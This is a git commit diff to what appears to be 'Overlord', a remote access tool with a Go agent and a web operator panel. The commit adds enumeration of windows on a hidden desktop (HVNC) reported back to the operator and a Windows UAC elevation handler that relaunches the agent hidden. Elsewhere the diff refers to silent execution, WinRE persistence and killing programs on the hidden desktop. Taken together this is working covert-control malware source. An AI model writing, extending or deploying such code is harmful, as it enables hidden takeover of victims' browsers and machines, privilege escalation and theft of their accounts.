add elevate to windows and linux, add hvnc visualization + more debug stuff (20 seconds for watching chrome, edge, etc).

This commit is contained in:
KingKDot
2026-05-20 15:26:41 -05:00
parent 7e84ae8fb7
commit ea77515aa3
17 changed files with 683 additions and 23 deletions
@@ -104,8 +104,9 @@ func monitorProcessCrash(pid uint32, label string, notify func(step string, succ
}
defer procCloseHandle.Call(hProc)
ret, _, _ := procWaitForSingleObject.Call(hProc, 8000)
ret, _, _ := procWaitForSingleObject.Call(hProc, 20000)
if ret != 0 {
notify("healthy", true, fmt.Sprintf("%s (PID %d) still running after 20s", label, pid))
return
}
@@ -1967,3 +1967,161 @@ func minInt(a, b int) int {
}
return b
}
var (
procGetWindowTextW = user32.NewProc("GetWindowTextW")
procGetWindowTextLenW = user32.NewProc("GetWindowTextLengthW")
)
type HVNCWindowInfo struct {
HWND uintptr
Title string
X int
Y int
Width int
Height int
PID uint32
ProcessName string
Monitor int // -1 if not on any known monitor
Visible bool
}
func HVNCEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
hvncDesktopMu.Lock()
deskHandle := hvncDesktopHandle
hvncDesktopMu.Unlock()
if deskHandle == 0 {
return nil, nil
}
mons := monitorList()
monInfos := make([]HVNCMonitorInfo, len(mons))
for i, m := range mons {
monInfos[i] = HVNCMonitorInfo{
Index: i,
Name: m.name,
X: m.rect.Min.X,
Y: m.rect.Min.Y,
Width: m.rect.Dx(),
Height: m.rect.Dy(),
Primary: m.primary,
}
}
type rawWin struct {
hwnd uintptr
}
var windows []rawWin
cb := syscall.NewCallback(func(hwnd, _ uintptr) uintptr {
windows = append(windows, rawWin{hwnd: hwnd})
return 1
})
procEnumDesktopWindows.Call(deskHandle, cb, 0)
var result []HVNCWindowInfo
for _, w := range windows {
if !isWindowVisible(w.hwnd) {
continue
}
var r rect
ok, _, _ := procGetWindowRect.Call(w.hwnd, uintptr(unsafe.Pointer(&r)))
if ok == 0 {
continue
}
winW := int(r.right - r.left)
winH := int(r.bottom - r.top)
if winW <= 0 || winH <= 0 {
continue
}
title := getWindowText(w.hwnd)
if title == "" {
continue
}
var pid uint32
procGetWindowThreadProcessId.Call(w.hwnd, uintptr(unsafe.Pointer(&pid)))
procName := ""
if pid != 0 {
procName = getProcessName(pid)
}
winLeft := int(r.left)
winTop := int(r.top)
monIdx := -1
bestOverlap := 0
for i, m := range mons {
overlapLeft := maxInt(winLeft, m.rect.Min.X)
overlapTop := maxInt(winTop, m.rect.Min.Y)
overlapRight := minInt(winLeft+winW, m.rect.Max.X)
overlapBottom := minInt(winTop+winH, m.rect.Max.Y)
if overlapRight > overlapLeft && overlapBottom > overlapTop {
area := (overlapRight - overlapLeft) * (overlapBottom - overlapTop)
if area > bestOverlap {
bestOverlap = area
monIdx = i
}
}
}
result = append(result, HVNCWindowInfo{
HWND: w.hwnd,
Title: title,
X: winLeft,
Y: winTop,
Width: winW,
Height: winH,
PID: pid,
ProcessName: procName,
Monitor: monIdx,
Visible: true,
})
}
return result, monInfos
}
type HVNCMonitorInfo struct {
Index int
Name string
X int
Y int
Width int
Height int
Primary bool
}
func getWindowText(hwnd uintptr) string {
length, _, _ := procGetWindowTextLenW.Call(hwnd)
if length == 0 {
return ""
}
buf := make([]uint16, length+1)
procGetWindowTextW.Call(hwnd, uintptr(unsafe.Pointer(&buf[0])), uintptr(length+1))
return syscall.UTF16ToString(buf)
}
func getProcessName(pid uint32) string {
const PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
hProc, _, _ := procOpenProcess.Call(PROCESS_QUERY_LIMITED_INFORMATION, 0, uintptr(pid))
if hProc == 0 {
return ""
}
defer procCloseHandle.Call(hProc)
var buf [260]uint16
size := uint32(len(buf))
ret, _, _ := kernel32.NewProc("QueryFullProcessImageNameW").Call(
hProc, 0, uintptr(unsafe.Pointer(&buf[0])), uintptr(unsafe.Pointer(&size)),
)
if ret == 0 {
return ""
}
fullPath := syscall.UTF16ToString(buf[:size])
for i := len(fullPath) - 1; i >= 0; i-- {
if fullPath[i] == '\\' || fullPath[i] == '/' {
return fullPath[i+1:]
}
}
return fullPath
}
@@ -1554,6 +1554,45 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
})
return nil
case "hvnc_window_list":
log.Printf("hvnc: window list requested")
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_window_list", nil, func() {
windows, monitors := capture.HVNCEnumWindows()
winEntries := make([]wire.HVNCWindowEntry, 0, len(windows))
for _, w := range windows {
winEntries = append(winEntries, wire.HVNCWindowEntry{
Title: w.Title,
X: w.X,
Y: w.Y,
Width: w.Width,
Height: w.Height,
PID: w.PID,
ProcessName: w.ProcessName,
Monitor: w.Monitor,
})
}
monEntries := make([]wire.HVNCMonitorEntry, 0, len(monitors))
for _, m := range monitors {
monEntries = append(monEntries, wire.HVNCMonitorEntry{
Index: m.Index,
Name: m.Name,
X: m.X,
Y: m.Y,
Width: m.Width,
Height: m.Height,
Primary: m.Primary,
})
}
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCWindowListResult{
Type: "hvnc_window_list_result",
Windows: winEntries,
Monitors: monEntries,
})
log.Printf("hvnc: window list sent: %d windows, %d monitors", len(winEntries), len(monEntries))
})
return nil
case "hvnc_browser_check":
log.Printf("hvnc: browser availability check requested")
sendCommandResultSafe(env, cmdID, true, "")
@@ -11,6 +11,7 @@ import (
"strings"
"time"
"overlord-client/cmd/agent/mutex"
agentRuntime "overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/wire"
)
@@ -76,6 +77,7 @@ func HandleElevate(ctx context.Context, env *agentRuntime.Env, cmdID string, pas
})
}
mutex.ReleaseGlobal()
log.Printf("[elevate] started elevated process pid=%d", cmd.Process.Pid)
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
@@ -1,4 +1,4 @@
//go:build !darwin
//go:build !darwin && !windows
package handlers
@@ -0,0 +1,110 @@
//go:build windows
package handlers
import (
"context"
"fmt"
"log"
"os"
"strings"
"time"
"unsafe"
"golang.org/x/sys/windows"
"overlord-client/cmd/agent/mutex"
agentRuntime "overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/wire"
)
var (
modShell32 = windows.NewLazySystemDLL("shell32.dll")
procShellExecute = modShell32.NewProc("ShellExecuteExW")
)
const (
_SEE_MASK_NOCLOSEPROCESS = 0x00000040
_SEE_MASK_NOASYNC = 0x00000100
_SW_SHOWNORMAL = 1
_SW_HIDE = 0
)
type shellExecuteInfo struct {
cbSize uint32
fMask uint32
hwnd uintptr
lpVerb *uint16
lpFile *uint16
lpParameters *uint16
lpDirectory *uint16
nShow int32
hInstApp uintptr
lpIDList uintptr
lpClass *uint16
hkeyClass uintptr
dwHotKey uint32
hIcon uintptr
hProcess uintptr
}
func HandleElevate(ctx context.Context, env *agentRuntime.Env, cmdID string, password string) error {
token := windows.GetCurrentProcessToken()
if token.IsElevated() {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: true,
Message: "already running as admin",
})
}
exePath, err := os.Executable()
if err != nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: false,
Message: fmt.Sprintf("failed to resolve executable path: %v", err),
})
}
args := strings.Join(os.Args[1:], " ")
verb, _ := windows.UTF16PtrFromString("runas")
file, _ := windows.UTF16PtrFromString(exePath)
params, _ := windows.UTF16PtrFromString(args)
sei := shellExecuteInfo{
fMask: _SEE_MASK_NOCLOSEPROCESS | _SEE_MASK_NOASYNC,
lpVerb: verb,
lpFile: file,
lpParameters: params,
nShow: _SW_HIDE,
}
sei.cbSize = uint32(unsafe.Sizeof(sei))
r1, _, err := procShellExecute.Call(uintptr(unsafe.Pointer(&sei)))
if r1 == 0 {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: false,
Message: fmt.Sprintf("UAC elevation failed: %v", err),
})
}
mutex.ReleaseGlobal()
log.Printf("[elevate] started elevated process via UAC")
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: true,
Message: "elevating — new process started as admin via UAC",
})
time.Sleep(500 * time.Millisecond)
os.Exit(0)
return nil
}
@@ -325,6 +325,33 @@ type HVNCBrowserLaunchStatus struct {
Detail string `msgpack:"detail"`
}
type HVNCWindowEntry struct {
Title string `msgpack:"title"`
X int `msgpack:"x"`
Y int `msgpack:"y"`
Width int `msgpack:"width"`
Height int `msgpack:"height"`
PID uint32 `msgpack:"pid"`
ProcessName string `msgpack:"processName"`
Monitor int `msgpack:"monitor"`
}
type HVNCMonitorEntry struct {
Index int `msgpack:"index"`
Name string `msgpack:"name"`
X int `msgpack:"x"`
Y int `msgpack:"y"`
Width int `msgpack:"width"`
Height int `msgpack:"height"`
Primary bool `msgpack:"primary"`
}
type HVNCWindowListResult struct {
Type string `msgpack:"type"`
Windows []HVNCWindowEntry `msgpack:"windows"`
Monitors []HVNCMonitorEntry `msgpack:"monitors"`
}
type ClipboardContent struct {
Type string `msgpack:"type"`
Text string `msgpack:"text"`
+225
View File
@@ -416,6 +416,14 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
launchStatusEl.classList.add("hidden");
launchStatusEl.classList.remove("flex");
}, 15000);
} else if (step === "healthy") {
launchStatusIcon.className = "fa-solid fa-heart-pulse text-emerald-400";
launchStatusLabel.textContent = `${browser}: ${detail}`;
launchStatusLabel.className = "text-emerald-300";
launchHideTimer = setTimeout(() => {
launchStatusEl.classList.add("hidden");
launchStatusEl.classList.remove("flex");
}, 10000);
} else if (step === "launch") {
launchStatusIcon.className = "fa-solid fa-circle-check text-emerald-400";
launchStatusLabel.textContent = `${browser}: ${detail}`;
@@ -485,7 +493,11 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
const installedAppsGrid = document.getElementById("installedAppsGrid");
const installedAppsCount = document.getElementById("installedAppsCount");
const refreshInstalledApps = document.getElementById("refreshInstalledApps");
const installedAppsSearch = document.getElementById("installedAppsSearch");
const installedAppsSearchClear = document.getElementById("installedAppsSearchClear");
const installedAppsEmpty = document.getElementById("installedAppsEmpty");
let installedAppsData = [];
let installedAppsQuery = "";
let installedAppsLoading_pending = false;
@@ -496,9 +508,75 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
if (installedAppsList) installedAppsList.classList.add("hidden");
if (installedAppsGrid) installedAppsGrid.innerHTML = "";
if (installedAppsCount) installedAppsCount.textContent = "";
if (installedAppsEmpty) installedAppsEmpty.classList.add("hidden");
sendCmd("hvnc_installed_apps", {});
}
function applyInstalledAppsFilter() {
if (!installedAppsGrid) return;
const q = installedAppsQuery;
let visible = 0;
const buttons = Array.from(installedAppsGrid.children);
if (q) {
const prefix = [];
const contains = [];
const hidden = [];
for (const btn of buttons) {
const key = btn.dataset.search || "";
const name = (btn.dataset.name || "");
if (name.startsWith(q) || key.startsWith(q)) {
prefix.push(btn);
} else if (key.indexOf(q) !== -1) {
contains.push(btn);
} else {
hidden.push(btn);
}
}
for (const btn of prefix) { installedAppsGrid.appendChild(btn); btn.style.display = ""; }
for (const btn of contains) { installedAppsGrid.appendChild(btn); btn.style.display = ""; }
for (const btn of hidden) { installedAppsGrid.appendChild(btn); btn.style.display = "none"; }
visible = prefix.length + contains.length;
} else {
for (const btn of buttons) {
btn.style.display = "";
visible++;
}
}
if (installedAppsEmpty) {
installedAppsEmpty.classList.toggle("hidden", !(q && visible === 0 && installedAppsData.length > 0));
}
if (installedAppsSearchClear) {
installedAppsSearchClear.classList.toggle("hidden", !q);
}
}
if (installedAppsSearch) {
installedAppsSearch.addEventListener("input", () => {
installedAppsQuery = installedAppsSearch.value.trim().toLowerCase();
applyInstalledAppsFilter();
});
installedAppsSearch.addEventListener("click", (e) => e.stopPropagation());
installedAppsSearch.addEventListener("keydown", (e) => {
if (e.key === "Escape") {
installedAppsSearch.value = "";
installedAppsQuery = "";
applyInstalledAppsFilter();
}
e.stopPropagation();
});
}
if (installedAppsSearchClear) {
installedAppsSearchClear.addEventListener("click", (e) => {
e.stopPropagation();
if (installedAppsSearch) installedAppsSearch.value = "";
installedAppsQuery = "";
applyInstalledAppsFilter();
if (installedAppsSearch) installedAppsSearch.focus();
});
}
if (refreshInstalledApps) {
refreshInstalledApps.addEventListener("click", (e) => {
e.stopPropagation();
@@ -529,8 +607,16 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
if (installedAppsCount) installedAppsCount.textContent = `(${installedAppsData.length})`;
if (installedAppsData.length === 0) {
installedAppsGrid.innerHTML = '<div class="text-xs text-slate-600 text-center py-3">No apps found</div>';
} else {
installedAppsData.sort((a, b) => (a.name || "").localeCompare(b.name || "", undefined, { sensitivity: "base" }));
installedAppsGrid.innerHTML = "";
for (const app of installedAppsData) {
appendAppButton(app);
}
}
}
applyInstalledAppsFilter();
}
function appendAppButton(app) {
@@ -538,6 +624,11 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
btn.type = "button";
btn.className = "installed-app-btn";
btn.title = app.exePath || app.name;
btn.dataset.search = ((app.name || "") + " " + (app.exePath || "")).toLowerCase();
btn.dataset.name = (app.name || "").toLowerCase();
if (installedAppsQuery && btn.dataset.search.indexOf(installedAppsQuery) === -1) {
btn.style.display = "none";
}
if (app.icon && /^[A-Za-z0-9+/=]+$/.test(app.icon)) {
const img = document.createElement("img");
@@ -969,6 +1060,10 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
handleBrowserLaunchStatus(msg);
return;
}
if (msg && msg.type === "hvnc_window_list_result") {
handleWindowListResult(msg);
return;
}
if (msg && msg.type === "hvnc_error") {
handleHVNCError(msg);
return;
@@ -1457,6 +1552,136 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
}
}
// ── Window Map ──────────────────────────────────────────────
const windowMapBtn = document.getElementById("windowMapBtn");
const windowMapModal = document.getElementById("windowMapModal");
const windowMapCloseBtn = document.getElementById("windowMapCloseBtn");
const windowMapRefreshBtn = document.getElementById("windowMapRefreshBtn");
const windowMapCanvas = document.getElementById("windowMapCanvas");
const windowMapList = document.getElementById("windowMapList");
const WINDOW_COLORS = [
"#8b5cf6", "#3b82f6", "#10b981", "#f59e0b", "#ef4444",
"#ec4899", "#06b6d4", "#84cc16", "#f97316", "#6366f1",
];
function openWindowMap() {
if (!windowMapModal) return;
windowMapModal.style.display = "flex";
sendCmd("hvnc_window_list", {});
if (windowMapCanvas) windowMapCanvas.innerHTML = '<div class="flex items-center justify-center h-40 text-slate-500 text-sm"><i class="fa-solid fa-spinner fa-spin mr-2"></i>Loading…</div>';
if (windowMapList) windowMapList.innerHTML = "";
}
function closeWindowMap() {
if (windowMapModal) windowMapModal.style.display = "none";
}
if (windowMapBtn) windowMapBtn.addEventListener("click", openWindowMap);
if (windowMapCloseBtn) windowMapCloseBtn.addEventListener("click", closeWindowMap);
if (windowMapRefreshBtn) windowMapRefreshBtn.addEventListener("click", () => {
sendCmd("hvnc_window_list", {});
if (windowMapCanvas) windowMapCanvas.innerHTML = '<div class="flex items-center justify-center h-40 text-slate-500 text-sm"><i class="fa-solid fa-spinner fa-spin mr-2"></i>Refreshing…</div>';
if (windowMapList) windowMapList.innerHTML = "";
});
if (windowMapModal) windowMapModal.addEventListener("click", (e) => {
if (e.target === windowMapModal) closeWindowMap();
});
function handleWindowListResult(msg) {
const monitors = msg.monitors || [];
const windows = msg.windows || [];
if (!windowMapCanvas || !windowMapList) return;
if (monitors.length === 0 && windows.length === 0) {
windowMapCanvas.innerHTML = '<div class="flex items-center justify-center h-40 text-slate-500 text-sm">No windows or monitors found</div>';
windowMapList.innerHTML = '<div class="text-slate-500 text-xs text-center py-2">No visible windows on the hidden desktop</div>';
return;
}
let minX = Infinity, minY = Infinity, maxX = -Infinity, maxY = -Infinity;
for (const m of monitors) {
minX = Math.min(minX, m.x);
minY = Math.min(minY, m.y);
maxX = Math.max(maxX, m.x + m.width);
maxY = Math.max(maxY, m.y + m.height);
}
for (const w of windows) {
minX = Math.min(minX, w.x);
minY = Math.min(minY, w.y);
maxX = Math.max(maxX, w.x + w.width);
maxY = Math.max(maxY, w.y + w.height);
}
if (!isFinite(minX)) { minX = 0; minY = 0; maxX = 1920; maxY = 1080; }
const totalW = maxX - minX || 1;
const totalH = maxY - minY || 1;
const containerW = windowMapCanvas.clientWidth || 800;
const aspect = totalW / totalH;
const mapH = Math.min(400, Math.max(180, containerW / aspect));
const scale = Math.min(containerW / totalW, mapH / totalH) * 0.92;
const padX = (containerW - totalW * scale) / 2;
const padY = (mapH - totalH * scale) / 2;
function tx(x) { return padX + (x - minX) * scale; }
function ty(y) { return padY + (y - minY) * scale; }
function tw(w) { return w * scale; }
let html = "";
windowMapCanvas.style.height = mapH + "px";
for (let i = 0; i < monitors.length; i++) {
const m = monitors[i];
const x = tx(m.x), y = ty(m.y), w = tw(m.width), h = tw(m.height);
html += `<div class="absolute border-2 border-dashed border-slate-600 rounded" style="left:${x}px;top:${y}px;width:${w}px;height:${h}px;" title="Monitor ${m.index}: ${m.name} (${m.width}x${m.height})">
<span class="absolute top-1 left-1.5 text-[10px] font-mono text-slate-500">${m.primary ? "★ " : ""}${m.name || "Monitor " + m.index}</span>
<span class="absolute bottom-1 right-1.5 text-[10px] font-mono text-slate-600">${m.width}×${m.height}</span>
</div>`;
}
for (let i = 0; i < windows.length; i++) {
const w = windows[i];
const color = WINDOW_COLORS[i % WINDOW_COLORS.length];
const x = tx(w.x), y = ty(w.y), ww = Math.max(tw(w.width), 8), wh = Math.max(tw(w.height), 8);
const shortTitle = w.title.length > 30 ? w.title.slice(0, 28) + "…" : w.title;
html += `<div class="absolute rounded border overflow-hidden cursor-default" style="left:${x}px;top:${y}px;width:${ww}px;height:${wh}px;border-color:${color};background:${color}18;" title="${escHtml(w.title)}\n${w.processName} (PID ${w.pid})\nPosition: ${w.x},${w.y} Size: ${w.width}×${w.height}\nMonitor: ${w.monitor >= 0 ? w.monitor : "none"}">
${wh > 20 && ww > 50 ? `<div class="px-1 py-0.5 text-[9px] font-mono text-slate-200 truncate" style="background:${color}50;">${escHtml(shortTitle)}</div>` : ""}
</div>`;
}
windowMapCanvas.innerHTML = html;
let listHtml = `<div class="grid gap-1">
<div class="grid grid-cols-[auto_1fr_auto_auto_auto] gap-x-3 px-2 py-1 text-[11px] uppercase tracking-wide text-slate-500 border-b border-slate-800">
<span></span><span>Title</span><span>Process</span><span>Position</span><span>Monitor</span>
</div>`;
for (let i = 0; i < windows.length; i++) {
const w = windows[i];
const color = WINDOW_COLORS[i % WINDOW_COLORS.length];
const monLabel = w.monitor >= 0 ? (monitors[w.monitor] ? (monitors[w.monitor].name || "#" + w.monitor) : "#" + w.monitor) : "—";
listHtml += `<div class="grid grid-cols-[auto_1fr_auto_auto_auto] gap-x-3 items-center px-2 py-1.5 rounded hover:bg-slate-800/50 text-xs text-slate-300">
<span class="w-2.5 h-2.5 rounded-sm" style="background:${color};"></span>
<span class="truncate font-medium" title="${escHtml(w.title)}">${escHtml(w.title)}</span>
<span class="font-mono text-slate-400">${escHtml(w.processName)} <span class="text-slate-600">(${w.pid})</span></span>
<span class="font-mono text-slate-500">${w.x},${w.y} ${w.width}×${w.height}</span>
<span class="font-mono ${w.monitor >= 0 ? "text-slate-300" : "text-rose-400"}">${monLabel}</span>
</div>`;
}
listHtml += "</div>";
if (windows.length === 0) {
listHtml = '<div class="text-slate-500 text-xs text-center py-2">No visible windows on the hidden desktop</div>';
}
windowMapList.innerHTML = listHtml;
}
function escHtml(s) {
return s.replace(/&/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;").replace(/"/g, "&quot;");
}
connectWs();
fetchClientInfo();
})();
+15 -9
View File
@@ -253,8 +253,9 @@ function applyMenuSupportRules(clientId) {
const elevateBtn = menu.querySelector('[data-action="elevate"]');
if (elevateBtn) {
elevateBtn.style.display = platform === "mac" ? "" : "none";
if (platform === "mac") setAvailability(elevateBtn, isOnline, "Client is offline");
const canElevate = platform === "mac" || platform === "windows";
elevateBtn.style.display = canElevate ? "" : "none";
if (canElevate) setAvailability(elevateBtn, isOnline, "Client is offline");
}
setAvailability(menu.querySelector('[data-open="console"]'), isOnline, "Client is offline");
@@ -1676,21 +1677,26 @@ menu.addEventListener("click", async (e) => {
}
if (action === "elevate") {
const password = prompt("Enter the user's macOS password for sudo elevation:");
if (!password) {
closeMenu(clearContext);
return;
const isMac = detectClientPlatform(contextCard) === "mac";
let password = "";
if (isMac) {
password = prompt("Enter the user's macOS password for sudo elevation:");
if (!password) {
closeMenu(clearContext);
return;
}
}
try {
const payload = { action: "elevate" };
if (password) payload.password = password;
const res = await fetch(`/api/clients/${contextCard}/command`, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ action: "elevate", password }),
body: JSON.stringify(payload),
});
const data = await res.json().catch(() => ({}));
if (data.ok) {
alert(data.message || "Elevation successful — client will reconnect as root.");
// Stagger thumbnail requests to catch the client after it reconnects
alert(data.message || "Elevation successful — client will reconnect elevated.");
setTimeout(() => requestThumbnail(contextCard), 5000);
setTimeout(() => requestThumbnail(contextCard), 10000);
setTimeout(() => requestThumbnail(contextCard), 18000);
+1 -1
View File
@@ -47,7 +47,7 @@ const MENU_GROUPS = [
{ label: "Set Group", icon: "fa-solid fa-layer-group", icolor: "text-blue-300", action: "set-group" },
{ label: "Mute Notifications", icon: "fa-solid fa-bell-slash", icolor: "text-amber-300", action: "toggle-mute" },
{ divider: true },
{ label: "Elevate (macOS)", icon: "fa-solid fa-arrow-up-right-dots", icolor: "text-green-400", action: "elevate" },
{ label: "Elevate", icon: "fa-solid fa-arrow-up-right-dots", icolor: "text-green-400", action: "elevate" },
{ divider: true },
{ label: "Disconnect", icon: "fa-solid fa-plug-circle-xmark", icolor: "text-red-400", action: "disconnect" },
{ label: "Uninstall", icon: "fa-solid fa-trash", icolor: "text-red-300", action: "uninstall" },
+46 -6
View File
@@ -36,6 +36,9 @@
<button id="killAllBtn" class="button ghost" title="Kill all programs running on the hidden desktop">
<i class="fa-solid fa-skull"></i><span>Kill All</span>
</button>
<button id="windowMapBtn" class="button ghost" title="Show window positions and monitor layout">
<i class="fa-solid fa-map"></i><span>Window Map</span>
</button>
<button id="fullscreenBtn" class="button ghost">
<i class="fa-solid fa-expand"></i><span>Fullscreen</span>
</button>
@@ -292,8 +295,21 @@
<div id="installedAppsLoading" class="px-3 py-3 text-xs text-slate-500 text-center">
<i class="fa-solid fa-spinner fa-spin mr-1"></i>Loading apps…
</div>
<div id="installedAppsList" class="hidden max-h-[280px] overflow-y-auto px-1.5 pb-1.5">
<div class="grid grid-cols-1 gap-0.5" id="installedAppsGrid"></div>
<div id="installedAppsList" class="hidden px-1.5 pb-1.5">
<div class="px-1 pt-1 pb-1.5 sticky top-0 bg-slate-900/95 backdrop-blur">
<div class="relative">
<i class="fa-solid fa-magnifying-glass absolute left-2 top-1/2 -translate-y-1/2 text-[10px] text-slate-500"></i>
<input id="installedAppsSearch" type="text" placeholder="Search apps…" autocomplete="off" spellcheck="false"
class="w-full text-xs bg-slate-950/70 border border-slate-700/60 rounded pl-6 pr-6 py-1 text-slate-200 placeholder-slate-500 focus:outline-none focus:border-violet-500/50" />
<button type="button" id="installedAppsSearchClear" class="hidden absolute right-1.5 top-1/2 -translate-y-1/2 text-[10px] text-slate-500 hover:text-slate-300" title="Clear">
<i class="fa-solid fa-xmark"></i>
</button>
</div>
<div id="installedAppsEmpty" class="hidden text-[10px] text-slate-500 text-center pt-1.5">No matching apps</div>
</div>
<div id="installedAppsScroll" class="max-h-[260px] overflow-y-auto">
<div class="grid grid-cols-1 gap-0.5" id="installedAppsGrid"></div>
</div>
</div>
</div>
<style>
@@ -334,17 +350,17 @@
font-size: 0.65rem;
color: #94a3b8;
}
#installedAppsList::-webkit-scrollbar {
#installedAppsScroll::-webkit-scrollbar {
width: 6px;
}
#installedAppsList::-webkit-scrollbar-track {
#installedAppsScroll::-webkit-scrollbar-track {
background: transparent;
}
#installedAppsList::-webkit-scrollbar-thumb {
#installedAppsScroll::-webkit-scrollbar-thumb {
background: #334155;
border-radius: 3px;
}
#installedAppsList::-webkit-scrollbar-thumb:hover {
#installedAppsScroll::-webkit-scrollbar-thumb:hover {
background: #475569;
}
.installed-app-btn {
@@ -391,6 +407,30 @@
</div>
</main>
<!-- Window Map Modal -->
<div id="windowMapModal" class="fixed inset-0 z-[100] items-center justify-center bg-black/60 backdrop-blur-sm" style="display:none;">
<div class="bg-slate-900 border border-slate-700 rounded-xl shadow-2xl w-[90vw] max-w-[900px] max-h-[85vh] flex flex-col">
<div class="flex items-center justify-between px-5 py-3 border-b border-slate-800">
<div class="flex items-center gap-2">
<i class="fa-solid fa-map text-violet-400"></i>
<span class="text-base font-semibold text-slate-100">Window Map</span>
</div>
<div class="flex items-center gap-2">
<button id="windowMapRefreshBtn" class="button ghost text-xs" title="Refresh window list">
<i class="fa-solid fa-arrows-rotate"></i> Refresh
</button>
<button id="windowMapCloseBtn" class="button ghost text-xs">
<i class="fa-solid fa-xmark"></i>
</button>
</div>
</div>
<div class="flex-1 overflow-auto p-5 flex flex-col gap-4">
<div id="windowMapCanvas" class="relative w-full bg-slate-950 rounded-lg border border-slate-800 overflow-hidden" style="min-height: 200px;"></div>
<div id="windowMapList" class="flex flex-col gap-1 text-sm"></div>
</div>
</div>
</div>
<script defer src="/vendor/msgpackr/msgpackr.js"></script>
<script defer src="/assets/remotedesktop-settings-menu.js"></script>
<script type="module" src="/assets/nav.js"></script>
+2
View File
@@ -98,6 +98,7 @@ import {
handleHVNCInstalledAppsResult,
handleHVNCDXGIStatus,
handleHVNCBrowserLaunchStatus,
handleHVNCWindowListResult,
handleClipboardContent,
handleWebrtcP2PAnswer,
handleWebrtcP2PIce,
@@ -687,6 +688,7 @@ async function startServer() {
handleHVNCInstalledAppsResult,
handleHVNCDXGIStatus,
handleHVNCBrowserLaunchStatus,
handleHVNCWindowListResult,
handleClipboardContent,
handleWebrtcP2PAnswer,
handleWebrtcP2PIce,
+4
View File
@@ -87,6 +87,10 @@ const PERMISSIONS = {
description: "Change server-level settings (TLS, security, registration, notifications, appearance, etc.)",
roles: ["admin"],
},
"clients:elevate": {
description: "Elevate agent privileges (UAC on Windows, sudo on macOS)",
roles: ["admin"],
},
"clients:winre": {
description: "Install or uninstall WinRE persistence on clients",
roles: ["admin"],
@@ -878,16 +878,13 @@ export async function handleClientRoutes(
});
} else if (action === "elevate") {
try {
requirePermission(user, "clients:silent-exec");
requirePermission(user, "clients:elevate");
} catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
const password = typeof body?.password === "string" ? body.password : "";
if (!password) {
return new Response("Bad request: password required", { status: 400 });
}
const cmdId = uuidv4();
const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => {
@@ -914,7 +911,7 @@ export async function handleClientRoutes(
action: AuditAction.COMMAND,
targetClientId: targetId,
success: true,
details: "elevate (sudo)",
details: "elevate",
});
try {
@@ -157,6 +157,7 @@ type WsLifecycleDeps = {
handleHVNCInstalledAppsResult: (clientId: string, payload: any) => void;
handleHVNCDXGIStatus: (clientId: string, payload: any) => void;
handleHVNCBrowserLaunchStatus: (clientId: string, payload: any) => void;
handleHVNCWindowListResult: (clientId: string, payload: any) => void;
handleClipboardContent: (clientId: string, payload: any) => void;
handleWebrtcP2PAnswer: (clientId: string, payload: any) => void;
handleWebrtcP2PIce: (clientId: string, payload: any) => void;
@@ -733,6 +734,9 @@ export async function handleWebSocketMessage(
case "hvnc_browser_launch_status":
deps.handleHVNCBrowserLaunchStatus(client.id, payload);
break;
case "hvnc_window_list_result":
deps.handleHVNCWindowListResult(client.id, payload);
break;
case "clipboard_content":
deps.handleClipboardContent(client.id, payload);
break;
@@ -806,6 +806,47 @@ export function handleHVNCBrowserLaunchStatus(clientId: string, payload: any) {
}
}
export function handleHVNCWindowListResult(clientId: string, payload: any) {
const windows: Array<{
title: string; x: number; y: number; width: number; height: number;
pid: number; processName: string; monitor: number;
}> = [];
if (Array.isArray(payload.windows)) {
for (const w of payload.windows) {
windows.push({
title: String(w.title || ""),
x: Number(w.x) || 0,
y: Number(w.y) || 0,
width: Number(w.width) || 0,
height: Number(w.height) || 0,
pid: Number(w.pid) || 0,
processName: String(w.processName || ""),
monitor: Number(w.monitor ?? -1),
});
}
}
const monitors: Array<{
index: number; name: string; x: number; y: number;
width: number; height: number; primary: boolean;
}> = [];
if (Array.isArray(payload.monitors)) {
for (const m of payload.monitors) {
monitors.push({
index: Number(m.index) || 0,
name: String(m.name || ""),
x: Number(m.x) || 0,
y: Number(m.y) || 0,
width: Number(m.width) || 0,
height: Number(m.height) || 0,
primary: !!m.primary,
});
}
}
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
safeSendViewer(session.viewer, { type: "hvnc_window_list_result", windows, monitors });
}
}
export function handleClipboardContent(clientId: string, payload: any) {
const text = String(payload.text || "");
const source = String(payload.source || "");
@@ -1092,6 +1133,9 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
case "hvnc_installed_apps":
sendHVNCCommand(target, "hvnc_installed_apps", {});
break;
case "hvnc_window_list":
sendHVNCCommand(target, "hvnc_window_list", {});
break;
case "hvnc_start_process":
sendHVNCCommand(target, "hvnc_start_process", {
path: String(payload.path || ""),
+1
View File
@@ -37,6 +37,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
"hvnc_installed_apps_result",
"hvnc_dxgi_status",
"hvnc_browser_launch_status",
"hvnc_window_list_result",
"clipboard_content",
"proxy_data",
"proxy_close",